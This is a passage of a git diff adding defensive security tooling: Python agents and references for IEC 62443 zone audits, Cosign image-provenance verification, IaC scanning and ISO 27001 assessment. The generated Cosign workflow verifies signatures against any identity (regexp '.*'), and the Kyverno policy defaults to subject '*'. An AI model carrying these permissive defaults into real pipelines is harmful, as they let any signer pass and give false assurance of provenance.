findings.append({"zone": zone_name, "issue": "No SL-T defined", + "severity": "CRITICAL"}) + if sl_target and sl_achieved: + t = int(sl_target.replace("SL", "")) + a = int(sl_achieved.replace("SL", "")) + if a < t: + findings.append({ + "zone": zone_name, + "issue": f"SL gap: target={sl_target} achieved={sl_achieved}", + "severity": "HIGH", + }) + + if not zone.get("assets"): + findings.append({"zone": zone_name, "issue": "No assets documented", + "severity": "MEDIUM"}) + + if purdue_level in (0, 1) and sl_target in ("SL1", ""): + findings.append({ + "zone": zone_name, + "issue": f"Low SL for Purdue Level {purdue_level}", + "severity": "HIGH", + "recommendation": "Critical control zones should target SL3+", + }) + + for conduit in conduits: + src = conduit.get("source_zone", "") + dst = conduit.get("destination_zone", "") + controls = conduit.get("security_controls", []) + + if not controls: + findings.append({ + "conduit": f"{src} -> {dst}", + "issue": "No security controls on conduit", + "severity": "CRITICAL", + }) + + if not conduit.get("firewall", False): + findings.append({ + "conduit": f"{src} -> {dst}", + "issue": "No firewall on conduit", + "severity": "HIGH", + }) + + if conduit.get("allows_remote_access", False) and \ + not conduit.get("requires_mfa", False): + findings.append({ + "conduit": f"{src} -> {dst}", + "issue": "Remote access conduit without MFA", + "severity": "CRITICAL", + }) + + # Check for direct Level 5 to Level 0/1 conduit + for conduit in conduits: + src_level = conduit.get("source_purdue_level", -1) + dst_level = conduit.get("destination_purdue_level", -1) + if (src_level >= 4 and dst_level <= 1) or (dst_level >= 4 and src_level <= 1): + if not conduit.get("passes_through_dmz", False): + findings.append({ + "conduit": f"{conduit.get('source_zone')} -> {conduit.get('destination_zone')}", + "issue": "Direct IT-to-OT conduit bypassing DMZ", + "severity": "CRITICAL", + }) + + return findings + + +def generate_zone_template(facility_name, zone_count=5): + """Generate IEC 62443 zone template based on Purdue model.""" + zones = [ + {"name": f"{facility_name}_Level0_Field", + "purdue_level": 0, "sl_target": "SL2", + "description": "Field instruments, sensors, actuators", + "assets": ["PLC I/O modules", "Sensors", "Actuators"]}, + {"name": f"{facility_name}_Level1_Control", + "purdue_level": 1, "sl_target": "SL3", + "description": "PLCs, RTUs, safety controllers", + "assets": ["PLCs", "Safety Controllers", "RTUs"]}, + {"name": f"{facility_name}_Level2_Supervisory", + "purdue_level": 2, "sl_target": "SL3", + "description": "HMI, engineering workstations", + "assets": ["HMI Stations", "Engineering Workstations"]}, + {"name": f"{facility_name}_Level3_Operations", + "purdue_level": 3, "sl_target": "SL2", + "description": "Historian, OPC, MES", + "assets": ["Historian Server", "OPC Gateway", "MES"]}, + {"name": f"{facility_name}_DMZ", + "purdue_level": 3.5, "sl_target": "SL3", + "description": "IT/OT demilitarized zone", + "assets": ["Data Diode", "Patch Server", "AV Update Server"]}, + ] + + conduits = [ + {"source_zone": zones[0]["name"], "destination_zone": zones[1]["name"], + "protocols": ["Modbus", "PROFINET"], "firewall": True, + "security_controls": ["Protocol-aware firewall", "DPI"]}, + {"source_zone": zones[1]["name"], "destination_zone": zones[2]["name"], + "protocols": ["EtherNet/IP", "OPC UA"], "firewall": True, + "security_controls": ["Industrial firewall", "Allowlist"]}, + {"source_zone": zones[2]["name"], "destination_zone": zones[3]["name"], + "protocols": ["OPC UA", "SQL"], "firewall": True, + "security_controls": ["Firewall", "Network monitoring"]}, + {"source_zone": zones[3]["name"], "destination_zone": zones[4]["name"], + "protocols": ["HTTPS", "SFTP"], "firewall": True, + "security_controls": ["Data diode", "Firewall", "IDS"]}, + ] + + return {"zones": zones, "conduits": conduits} + + +def assess_sl_requirements(risk_assessment_path): + """Map risk assessment results to IEC 62443 Security Level targets.""" + with open(risk_assessment_path) as f: + assessment = json.load(f) + zones = assessment.get("zones", []) + recommendations = [] + for zone in zones: + threat_level = zone.get("threat_level", "medium").lower() + impact = zone.get("impact", "medium").lower() + if threat_level == "high" and impact in ("high", "critical"): + sl = "SL4" + elif threat_level == "high" or impact == "high": + sl = "SL3" + elif threat_level == "medium": + sl = "SL2" + else: + sl = "SL1" + recommendations.append({ + "zone": zone.get("name", ""), + "threat_level": threat_level, + "impact": impact, + "recommended_sl": sl, + "sl_description": SECURITY_LEVELS[sl], + }) + return recommendations + + +def main(): + parser = argparse.ArgumentParser(description="IEC 62443 Security Zones Agent") + parser.add_argument("--zones", help="Zone architecture JSON to audit") + parser.add_argument("--risk-assessment", help="Risk assessment JSON for SL mapping") + parser.add_argument("--facility", help="Facility name for template generation") + parser.add_argument("--action", choices=["audit", "template", "sl-map", "full"], + default="full") + parser.add_argument("--output", default="iec62443_zones_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.action in ("audit", "full") and args.zones: + findings = audit_zone_architecture(args.zones) + report["results"]["audit"] = findings + critical = sum(1 for f in findings if f.get("severity") == "CRITICAL") + print(f"[+] Zone audit: {len(findings)} findings, {critical} critical") + + if args.action in ("template", "full") and args.facility: + template = generate_zone_template(args.facility) + report["results"]["template"] = template + print(f"[+] Template: {len(template['zones'])} zones, {len(template['conduits'])} conduits") + + if args.action in ("sl-map", "full") and args.risk_assessment: + recommendations = assess_sl_requirements(args.risk_assessment) + report["results"]["sl_recommendations"] = recommendations + print(f"[+] SL recommendations for {len(recommendations)} zones") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-image-provenance-verification-with-cosign/LICENSE b/skills/implementing-image-provenance-verification-with-cosign/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-image-provenance-verification-with-cosign/LICENSE +++ b/skills/implementing-image-provenance-verification-with-cosign/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-image-provenance-verification-with-cosign/references/api-reference.md b/skills/implementing-image-provenance-verification-with-cosign/references/api-reference.md new file mode 100644 index 00000000..30f7201e --- /dev/null +++ b/skills/implementing-image-provenance-verification-with-cosign/references/api-reference.md @@ -0,0 +1,75 @@ +# API Reference: Implementing Image Provenance Verification with Cosign + +## Cosign CLI Commands + +```bash +# Sign image (keyless with OIDC) +cosign sign --yes IMAGE_REF + +# Sign with key +cosign sign --key cosign.key IMAGE_REF + +# Verify (keyless) +cosign verify --certificate-identity USER --certificate-oidc-issuer ISSUER IMAGE_REF + +# Verify with key +cosign verify --key cosign.pub IMAGE_REF + +# Attach attestation +cosign attest --predicate sbom.json --type spdxjson IMAGE_REF + +# Verify attestation +cosign verify-attestation --type spdxjson IMAGE_REF + +# Get signature location +cosign triangulate IMAGE_REF +``` + +## Sigstore Components + +| Component | Purpose | +|-----------|---------| +| Cosign | Sign and verify images | +| Fulcio | Short-lived certificate authority | +| Rekor | Transparency log | +| policy-controller | Kubernetes admission | + +## Attestation Types + +| Type | Predicate | Use Case | +|------|-----------|----------| +| `custom` | Custom JSON | General | +| `spdxjson` | SPDX SBOM | Software bill of materials | +| `cyclonedxjson` | CycloneDX SBOM | Alt SBOM format | +| `slsaprovenance` | SLSA Provenance | Build provenance | +| `vuln` | Vulnerability scan | Scan results | + +## Kyverno Policy (Kubernetes Admission) + +```yaml +apiVersion: kyverno.io/v1 +kind: ClusterPolicy +metadata: + name: verify-images +spec: + validationFailureAction: Enforce + rules: + - name: verify-cosign + match: + any: + - resources: { kinds: [Pod] } + verifyImages: + - imageReferences: ["ghcr.io/org/*"] + attestors: + - entries: + - keyless: + subject: "*@org.com" + issuer: "https://token.actions.githubusercontent.com" +``` + +### References + +- Sigstore: https://sigstore.dev/ +- Cosign Docs: https://docs.sigstore.dev/cosign/signing/overview/ +- SLSA Framework: https://slsa.dev/ +- Kyverno Image Verification: https://kyverno.io/docs/writing-policies/verify-images/ diff --git a/skills/implementing-image-provenance-verification-with-cosign/scripts/agent.py b/skills/implementing-image-provenance-verification-with-cosign/scripts/agent.py new file mode 100644 index 00000000..629cd1bf --- /dev/null +++ b/skills/implementing-image-provenance-verification-with-cosign/scripts/agent.py @@ -0,0 +1,211 @@ +#!/usr/bin/env python3 +"""Agent for verifying container image provenance using Sigstore Cosign.""" + +import json +import argparse +import subprocess +from datetime import datetime + + +def run_cosign(args_list): + """Run a cosign CLI command and return output.""" + cmd = ["cosign"] + args_list + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + return { + "stdout": result.stdout.strip(), + "stderr": result.stderr.strip(), + "returncode": result.returncode, + } + + +def verify_image(image_ref, key=None, certificate_identity=None, certificate_oidc_issuer=None): + """Verify a container image signature with Cosign.""" + args = ["verify"] + if key: + args.extend(["--key", key]) + elif certificate_identity and certificate_oidc_issuer: + args.extend(["--certificate-identity", certificate_identity, + "--certificate-oidc-issuer", certificate_oidc_issuer]) + args.append(image_ref) + result = run_cosign(args) + verified = result["returncode"] == 0 + attestations = [] + if verified and result["stdout"]: + try: + attestations = json.loads(result["stdout"]) + except json.JSONDecodeError: + pass + return { + "image": image_ref, + "verified": verified, + "attestations": attestations if isinstance(attestations, list) else [attestations], + "error": result["stderr"] if not verified else None, + } + + +def verify_attestation(image_ref, predicate_type, key=None): + """Verify an in-toto attestation attached to an image.""" + args = ["verify-attestation", "--type", predicate_type] + if key: + args.extend(["--key", key]) + args.append(image_ref) + result = run_cosign(args) + return { + "image": image_ref, + "predicate_type": predicate_type, + "verified": result["returncode"] == 0, + "output": result["stdout"][:500] if result["stdout"] else None, + "error": result["stderr"] if result["returncode"] != 0 else None, + } + + +def sign_image(image_ref, key=None, keyless=False): + """Sign a container image with Cosign.""" + args = ["sign"] + if key: + args.extend(["--key", key]) + elif keyless: + args.append("--yes") + args.append(image_ref) + result = run_cosign(args) + return { + "image": image_ref, + "signed": result["returncode"] == 0, + "error": result["stderr"] if result["returncode"] != 0 else None, + } + + +def triangulate_image(image_ref): + """Get the signature and attestation image references.""" + result = run_cosign(["triangulate", image_ref]) + return { + "image": image_ref, + "signature_ref": result["stdout"] if result["returncode"] == 0 else None, + } + + +def audit_registry_images(images_list, key=None, identity=None, issuer=None): + """Audit multiple container images for valid signatures.""" + results = [] + for image in images_list: + result = verify_image(image, key=key, certificate_identity=identity, + certificate_oidc_issuer=issuer) + result["severity"] = "INFO" if result["verified"] else "HIGH" + results.append(result) + signed = sum(1 for r in results if r["verified"]) + return { + "total_images": len(results), + "signed": signed, + "unsigned": len(results) - signed, + "signing_rate": round(signed / len(results) * 100, 1) if results else 0, + "details": results, + } + + +def generate_kyverno_policy(image_patterns, key=None, identity=None, issuer=None): + """Generate Kyverno ClusterPolicy for image verification.""" + policy = { + "apiVersion": "kyverno.io/v1", + "kind": "ClusterPolicy", + "metadata": {"name": "verify-image-signatures"}, + "spec": { + "validationFailureAction": "Enforce", + "webhookTimeoutSeconds": 30, + "rules": [{ + "name": "verify-cosign-signature", + "match": {"any": [{"resources": {"kinds": ["Pod"]}}]}, + "verifyImages": [{ + "imageReferences": image_patterns, + "attestors": [{ + "entries": [{ + "keyless": { + "subject": identity or "*", + "issuer": issuer or "https://token.actions.githubusercontent.com", + } + }] if not key else [{"keys": {"publicKeys": key}}] + }], + }], + }], + }, + } + return policy + + +def generate_cosign_ci_workflow(image_ref, registry): + """Generate GitHub Actions workflow for Cosign signing.""" + return f"""name: Sign Container Image +on: + push: + branches: [main] +jobs: + sign: + runs-on: ubuntu-latest + permissions: + contents: read + id-token: write + packages: write + steps: + - uses: actions/checkout@v4 + - uses: sigstore/cosign-installer@v3 + - name: Login to registry + uses: docker/login-action@v3 + with: + registry: {registry} + - name: Build and push + run: | + docker build -t {image_ref} . + docker push {image_ref} + - name: Sign image (keyless) + run: cosign sign --yes {image_ref} + - name: Verify signature + run: cosign verify --certificate-identity-regexp=".*" --certificate-oidc-issuer="https://token.actions.githubusercontent.com" {image_ref} +""" + + +def main(): + parser = argparse.ArgumentParser(description="Cosign Image Provenance Agent") + parser.add_argument("--verify", help="Image to verify") + parser.add_argument("--sign", help="Image to sign") + parser.add_argument("--audit", nargs="+", help="Images to audit for signatures") + parser.add_argument("--key", help="Cosign public key for verification") + parser.add_argument("--identity", help="Certificate identity for keyless verification") + parser.add_argument("--issuer", help="OIDC issuer for keyless verification") + parser.add_argument("--gen-policy", nargs="+", help="Image patterns for Kyverno policy") + parser.add_argument("--gen-workflow", help="Image ref for CI workflow generation") + parser.add_argument("--output", default="cosign_provenance_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.verify: + result = verify_image(args.verify, key=args.key, + certificate_identity=args.identity, + certificate_oidc_issuer=args.issuer) + report["results"]["verification"] = result + status = "VERIFIED" if result["verified"] else "FAILED" + print(f"[+] {args.verify}: {status}") + + if args.audit: + result = audit_registry_images(args.audit, key=args.key, + identity=args.identity, issuer=args.issuer) + report["results"]["audit"] = result + print(f"[+] Audit: {result['signed']}/{result['total_images']} signed") + + if args.gen_policy: + policy = generate_kyverno_policy(args.gen_policy, key=args.key, + identity=args.identity, issuer=args.issuer) + report["results"]["kyverno_policy"] = policy + print("[+] Kyverno policy generated") + + if args.gen_workflow: + workflow = generate_cosign_ci_workflow(args.gen_workflow, "ghcr.io") + report["results"]["workflow"] = workflow + print("[+] CI workflow generated") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-infrastructure-as-code-security-scanning/LICENSE b/skills/implementing-infrastructure-as-code-security-scanning/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-infrastructure-as-code-security-scanning/LICENSE +++ b/skills/implementing-infrastructure-as-code-security-scanning/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-infrastructure-as-code-security-scanning/references/api-reference.md b/skills/implementing-infrastructure-as-code-security-scanning/references/api-reference.md new file mode 100644 index 00000000..48b69da6 --- /dev/null +++ b/skills/implementing-infrastructure-as-code-security-scanning/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: Implementing Infrastructure as Code Security Scanning + +## Checkov CLI + +```bash +# Scan Terraform directory +checkov -d /path/to/tf --framework terraform --output json +# Scan specific file +checkov -f main.tf +# Scan CloudFormation +checkov -d . --framework cloudformation +# Scan Kubernetes manifests +checkov -d . --framework kubernetes +# Skip specific checks +checkov -d . --skip-check CKV_AWS_18,CKV_AWS_21 +``` + +## tfsec CLI + +```bash +# Scan directory +tfsec /path/to/tf --format json +# Exclude specific rules +tfsec . --exclude aws-s3-enable-bucket-logging +# Minimum severity +tfsec . --minimum-severity HIGH +``` + +## Common IaC Security Checks + +| Check ID | Description | Severity | +|----------|-------------|----------| +| CKV_AWS_18 | S3 bucket logging | MEDIUM | +| CKV_AWS_19 | S3 bucket encryption | HIGH | +| CKV_AWS_23 | Security group open to 0.0.0.0/0 | HIGH | +| CKV_AWS_41 | RDS encryption | HIGH | +| CKV_AWS_145 | KMS key rotation | MEDIUM | +| CKV_K8S_1 | Pod privileged container | CRITICAL | + +## GitHub Actions Integration + +```yaml +- uses: bridgecrewio/checkov-action@master + with: + directory: . + framework: terraform + output_format: sarif + soft_fail: false +``` + +### References + +- Checkov: https://www.checkov.io/ +- tfsec: https://aquasecurity.github.io/tfsec/ +- KICS: https://kics.io/ +- Bridgecrew: https://www.bridgecrew.io/ diff --git a/skills/implementing-infrastructure-as-code-security-scanning/scripts/agent.py b/skills/implementing-infrastructure-as-code-security-scanning/scripts/agent.py new file mode 100644 index 00000000..ee498600 --- /dev/null +++ b/skills/implementing-infrastructure-as-code-security-scanning/scripts/agent.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python3 +"""Agent for scanning Infrastructure as Code templates for security misconfigurations.""" + +import json +import argparse +import subprocess +from datetime import datetime +from collections import Counter +from pathlib import Path + + +def run_checkov(target_path, framework=None): + """Run Checkov IaC security scanner.""" + cmd = ["checkov", "-d", target_path, "--output", "json", "--quiet"] + if framework: + cmd.extend(["--framework", framework]) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + try: + return json.loads(result.stdout) if result.stdout.strip() else {"error": result.stderr} + except json.JSONDecodeError: + return {"raw": result.stdout[:2000], "error": result.stderr} + + +def run_tfsec(target_path): + """Run tfsec Terraform security scanner.""" + cmd = ["tfsec", target_path, "--format", "json"] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + try: + return json.loads(result.stdout) if result.stdout.strip() else {"error": result.stderr} + except json.JSONDecodeError: + return {"raw": result.stdout[:2000]} + + +def analyze_checkov_results(results): + """Analyze Checkov scan results and categorize findings.""" + if isinstance(results, list): + all_checks = results + elif isinstance(results, dict): + all_checks = results.get("results", {}).get("failed_checks", []) + else: + return {"error": "Invalid results format"} + + by_severity = Counter() + by_resource_type = Counter() + by_check = Counter() + findings = [] + + for check in all_checks: + severity = check.get("severity", check.get("check_result", {}).get("severity", "MEDIUM")) + by_severity[severity] += 1 + resource = check.get("resource", "unknown") + by_resource_type[resource.split(".")[0]] += 1 + by_check[check.get("check_id", "unknown")] += 1 + if severity in ("CRITICAL", "HIGH"): + findings.append({ + "check_id": check.get("check_id", ""), + "check_name": check.get("check", check.get("name", "")), + "resource": resource, + "file": check.get("file_path", check.get("repo_file_path", "")), + "line": check.get("file_line_range", []), + "severity": severity, + "guideline": check.get("guideline", ""), + }) + + return { + "total_failures": len(all_checks), + "by_severity": dict(by_severity), + "by_resource_type": dict(by_resource_type.most_common(10)), + "top_checks": dict(by_check.most_common(10)), + "critical_findings": findings[:30], + } + + +def scan_terraform_files(dir_path): + """Scan Terraform files for common security misconfigurations.""" + findings = [] + tf_files = list(Path(dir_path).rglob("*.tf")) + + risky_patterns = { + '"0.0.0.0/0"': {"issue": "Open CIDR block", "severity": "HIGH"}, + "cidr_blocks = [": {"issue": "Check CIDR block restrictions", "severity": "MEDIUM"}, + "publicly_accessible": {"issue": "Public accessibility setting", "severity": "HIGH"}, + "encrypted = false": {"issue": "Encryption disabled", "severity": "CRITICAL"}, + "enable_logging = false": {"issue": "Logging disabled", "severity": "HIGH"}, + "versioning {": {"issue": "Check versioning enabled", "severity": "MEDIUM"}, + 'protocol = "-1"': {"issue": "All protocols allowed", "severity": "HIGH"}, + "from_port = 0": {"issue": "All ports open", "severity": "HIGH"}, + } + + for tf_file in tf_files: + try: + content = tf_file.read_text(encoding="utf-8", errors="ignore") + for pattern, info in risky_patterns.items(): + if pattern in content: + lines = [i + 1 for i, line in enumerate(content.split("\n")) + if pattern in line] + for line in lines[:5]: + findings.append({ + "file": str(tf_file), + "line": line, + "pattern": pattern, + "issue": info["issue"], + "severity": info["severity"], + }) + except (OSError, PermissionError): + continue + + return findings + + +def generate_ci_config(scanner="checkov", framework="terraform"): + """Generate CI/CD pipeline config for IaC scanning.""" + configs = { + "github_actions": f"""name: IaC Security Scan +on: [push, pull_request] +jobs: + iac-scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Run {scanner} + uses: bridgecrewio/checkov-action@master + with: + directory: . + framework: {framework} + soft_fail: false + output_format: sarif + - uses: github/codeql-action/upload-sarif@v3 + if: always() + with: + sarif_file: results.sarif +""", + "gitlab_ci": f"""iac-scan: + image: bridgecrew/checkov:latest + script: + - checkov -d . --framework {framework} --output junitxml > checkov.xml + artifacts: + reports: + junit: checkov.xml +""", + } + return configs + + +def main(): + parser = argparse.ArgumentParser(description="IaC Security Scanning Agent") + parser.add_argument("--scan-dir", help="Directory to scan") + parser.add_argument("--framework", choices=["terraform", "cloudformation", + "kubernetes", "helm", "all"]) + parser.add_argument("--scanner", choices=["checkov", "tfsec", "builtin"], default="builtin") + parser.add_argument("--gen-ci", action="store_true", help="Generate CI config") + parser.add_argument("--output", default="iac_security_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.scan_dir: + if args.scanner == "checkov": + raw = run_checkov(args.scan_dir, args.framework) + analysis = analyze_checkov_results(raw) + report["results"]["checkov"] = analysis + print(f"[+] Checkov: {analysis.get('total_failures', 0)} failures") + elif args.scanner == "tfsec": + raw = run_tfsec(args.scan_dir) + report["results"]["tfsec"] = raw + print("[+] tfsec scan complete") + else: + findings = scan_terraform_files(args.scan_dir) + report["results"]["builtin_scan"] = findings + print(f"[+] Built-in scan: {len(findings)} findings") + + if args.gen_ci: + configs = generate_ci_config(args.scanner or "checkov", args.framework or "terraform") + report["results"]["ci_configs"] = configs + print("[+] CI configs generated") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-iso-27001-information-security-management/LICENSE b/skills/implementing-iso-27001-information-security-management/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-iso-27001-information-security-management/LICENSE +++ b/skills/implementing-iso-27001-information-security-management/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-iso-27001-information-security-management/references/api-reference.md b/skills/implementing-iso-27001-information-security-management/references/api-reference.md new file mode 100644 index 00000000..f0ffe030 --- /dev/null +++ b/skills/implementing-iso-27001-information-security-management/references/api-reference.md @@ -0,0 +1,50 @@ +# API Reference: Implementing ISO 27001 Information Security Management + +## ISO 27001:2022 Clause Structure + +| Clause | Title | Key Deliverable | +|--------|-------|----------------| +| 4 | Context of the Organization | ISMS Scope Document | +| 5 | Leadership | Information Security Policy | +| 6 | Planning | SoA, Risk Treatment Plan | +| 7 | Support | Competence records, Awareness | +| 8 | Operation | Risk assessment/treatment results | +| 9 | Performance Evaluation | Audit reports, Management review | +| 10 | Improvement | Corrective action records | + +## Annex A Control Categories (2022) + +| Category | Name | Controls | +|----------|------|----------| +| A.5 | Organizational | 37 controls | +| A.6 | People | 8 controls | +| A.7 | Physical | 14 controls | +| A.8 | Technological | 34 controls | + +## Required Documented Information + +| Document | Clause | +|----------|--------| +| ISMS Scope | 4.3 | +| Information Security Policy | 5.2 | +| Risk Assessment Methodology | 6.1.2 | +| Statement of Applicability | 6.1.3d | +| Risk Treatment Plan | 6.1.3 | +| Security Objectives | 6.2 | +| Internal Audit Program | 9.2 | +| Management Review Minutes | 9.3 | + +## Risk Assessment Formula + +``` +Risk Level = Likelihood x Impact +- Likelihood: 1 (Rare) to 5 (Almost Certain) +- Impact: 1 (Negligible) to 5 (Catastrophic) +- Risk Rating: Low (1-6), Medium (7-12), High (13-19), Critical (20-25) +``` + +### References + +- ISO 27001:2022: https://www.iso.org/standard/27001 +- ISO 27002:2022: https://www.iso.org/standard/75652.html +- ISO 27005 Risk Management: https://www.iso.org/standard/80585.html diff --git a/skills/implementing-iso-27001-information-security-management/scripts/agent.py b/skills/implementing-iso-27001-information-security-management/scripts/agent.py new file mode 100644 index 00000000..e5c0662f --- /dev/null +++ b/skills/implementing-iso-27001-information-security-management/scripts/agent.py @@ -0,0 +1,201 @@ +#!/usr/bin/env python3 +"""Agent for assessing ISO 27001:2022 ISMS compliance.""" + +import json +import argparse +from datetime import datetime +from collections import Counter + +ANNEX_A_CATEGORIES = { + "A.5": {"name": "Organizational controls", "count": 37}, + "A.6": {"name": "People controls", "count": 8}, + "A.7": {"name": "Physical controls", "count": 14}, + "A.8": {"name": "Technological controls", "count": 34}, +} + +REQUIRED_DOCUMENTS = [ + "ISMS Scope (4.3)", "Information Security Policy (5.2)", + "Risk Assessment Methodology (6.1.2)", "Risk Treatment Plan (6.1.3)", + "Statement of Applicability (6.1.3d)", "Information Security Objectives (6.2)", + "Evidence of Competence (7.2)", "Documented Operating Procedures (8.1)", + "Risk Assessment Results (8.2)", "Risk Treatment Results (8.3)", + "Monitoring and Measurement Results (9.1)", "Internal Audit Program (9.2)", + "Management Review Results (9.3)", "Nonconformities and Corrective Actions (10.1)", +] + + +def assess_soa_completeness(soa_path): + """Assess Statement of Applicability completeness.""" + with open(soa_path) as f: + soa = json.load(f) + controls = soa if isinstance(soa, list) else soa.get("controls", []) + total = len(controls) + implemented = sum(1 for c in controls if c.get("status", "").lower() == "implemented") + partially = sum(1 for c in controls if c.get("status", "").lower() == "partial") + not_implemented = sum(1 for c in controls if c.get("status", "").lower() == "not_implemented") + excluded = sum(1 for c in controls if c.get("status", "").lower() == "excluded") + + missing_justification = [c for c in controls + if c.get("status", "").lower() == "excluded" + and not c.get("justification")] + findings = [] + if missing_justification: + findings.append({ + "issue": f"{len(missing_justification)} excluded controls without justification", + "severity": "HIGH", + "controls": [c.get("id", "") for c in missing_justification], + }) + + no_evidence = [c for c in controls + if c.get("status", "").lower() == "implemented" + and not c.get("evidence")] + if no_evidence: + findings.append({ + "issue": f"{len(no_evidence)} implemented controls without evidence", + "severity": "MEDIUM", + }) + + return { + "total_controls": total, + "implemented": implemented, + "partial": partially, + "not_implemented": not_implemented, + "excluded": excluded, + "implementation_rate": round(implemented / total * 100, 1) if total else 0, + "findings": findings, + } + + +def assess_documentation(docs_inventory_path): + """Check required ISMS documentation against inventory.""" + with open(docs_inventory_path) as f: + inventory = json.load(f) + docs = inventory if isinstance(inventory, list) else inventory.get("documents", []) + doc_names = [d.get("name", d.get("title", "")).lower() for d in docs] + + missing = [] + for req in REQUIRED_DOCUMENTS: + found = any(req.lower().split("(")[0].strip() in name for name in doc_names) + if not found: + missing.append(req) + + outdated = [d for d in docs + if d.get("last_review") and + (datetime.utcnow() - datetime.fromisoformat( + d["last_review"].replace("Z", ""))).days > 365] + + return { + "required": len(REQUIRED_DOCUMENTS), + "present": len(REQUIRED_DOCUMENTS) - len(missing), + "missing": missing, + "outdated_documents": len(outdated), + "compliance_rate": round( + (len(REQUIRED_DOCUMENTS) - len(missing)) / len(REQUIRED_DOCUMENTS) * 100, 1), + } + + +def assess_risk_register(risk_register_path): + """Assess risk register for completeness and currency.""" + with open(risk_register_path) as f: + register = json.load(f) + risks = register if isinstance(register, list) else register.get("risks", []) + findings = [] + by_level = Counter() + + for risk in risks: + level = risk.get("risk_level", risk.get("rating", "unknown")).lower() + by_level[level] += 1 + if not risk.get("treatment", risk.get("mitigation")): + findings.append({ + "risk": risk.get("id", risk.get("name", "")), + "issue": "No treatment plan defined", + "severity": "HIGH", + }) + if not risk.get("owner"): + findings.append({ + "risk": risk.get("id", ""), + "issue": "No risk owner assigned", + "severity": "MEDIUM", + }) + if risk.get("treatment", "").lower() == "accept" and not risk.get("acceptance_authority"): + findings.append({ + "risk": risk.get("id", ""), + "issue": "Risk accepted without management approval", + "severity": "HIGH", + }) + + return { + "total_risks": len(risks), + "by_level": dict(by_level), + "findings": findings, + "untreated": sum(1 for r in risks if not r.get("treatment")), + } + + +def generate_gap_analysis(current_state): + """Generate ISO 27001 gap analysis from current state assessment.""" + clauses = { + "4_context": ["scope_defined", "interested_parties", "isms_scope_document"], + "5_leadership": ["security_policy", "roles_responsibilities", "management_commitment"], + "6_planning": ["risk_methodology", "risk_assessment", "soa", "security_objectives"], + "7_support": ["resources", "competence", "awareness", "communication", "documented_info"], + "8_operation": ["operational_planning", "risk_assessment_results", "risk_treatment"], + "9_evaluation": ["monitoring", "internal_audit", "management_review"], + "10_improvement": ["nonconformity_handling", "corrective_actions", "continual_improvement"], + } + gaps = {} + for clause, requirements in clauses.items(): + clause_state = current_state.get(clause, {}) + met = sum(1 for r in requirements if clause_state.get(r, False)) + gaps[clause] = { + "total": len(requirements), + "met": met, + "gaps": [r for r in requirements if not clause_state.get(r, False)], + "compliance": round(met / len(requirements) * 100, 1), + } + return gaps + + +def main(): + parser = argparse.ArgumentParser(description="ISO 27001 ISMS Compliance Agent") + parser.add_argument("--soa", help="Statement of Applicability JSON") + parser.add_argument("--docs", help="Documentation inventory JSON") + parser.add_argument("--risks", help="Risk register JSON") + parser.add_argument("--state", help="Current state assessment JSON for gap analysis") + parser.add_argument("--action", choices=["soa", "docs", "risks", "gaps", "full"], + default="full") + parser.add_argument("--output", default="iso27001_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.action in ("soa", "full") and args.soa: + result = assess_soa_completeness(args.soa) + report["results"]["soa"] = result + print(f"[+] SoA: {result['implementation_rate']}% implemented") + + if args.action in ("docs", "full") and args.docs: + result = assess_documentation(args.docs) + report["results"]["documentation"] = result + print(f"[+] Documentation: {result['compliance_rate']}%, {len(result['missing'])} missing") + + if args.action in ("risks", "full") and args.risks: + result = assess_risk_register(args.risks) + report["results"]["risks"] = result + print(f"[+] Risk register: {result['total_risks']} risks, {result['untreated']} untreated") + + if args.action in ("gaps", "full") and args.state: + with open(args.state) as f: + state = json.load(f) + gaps = generate_gap_analysis(state) + report["results"]["gap_analysis"] = gaps + avg = sum(g["compliance"] for g in gaps.values()) / len(gaps) + print(f"[+] Gap analysis: {avg:.1f}% average compliance") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-just-in-time-access-provisioning/LICENSE b/skills/implementing-just-in-time-access-provisioning/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-just-in-time-access-provisioning/LICENSE +++ b/skills/implementing-just-in-time-access-provisioning/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git 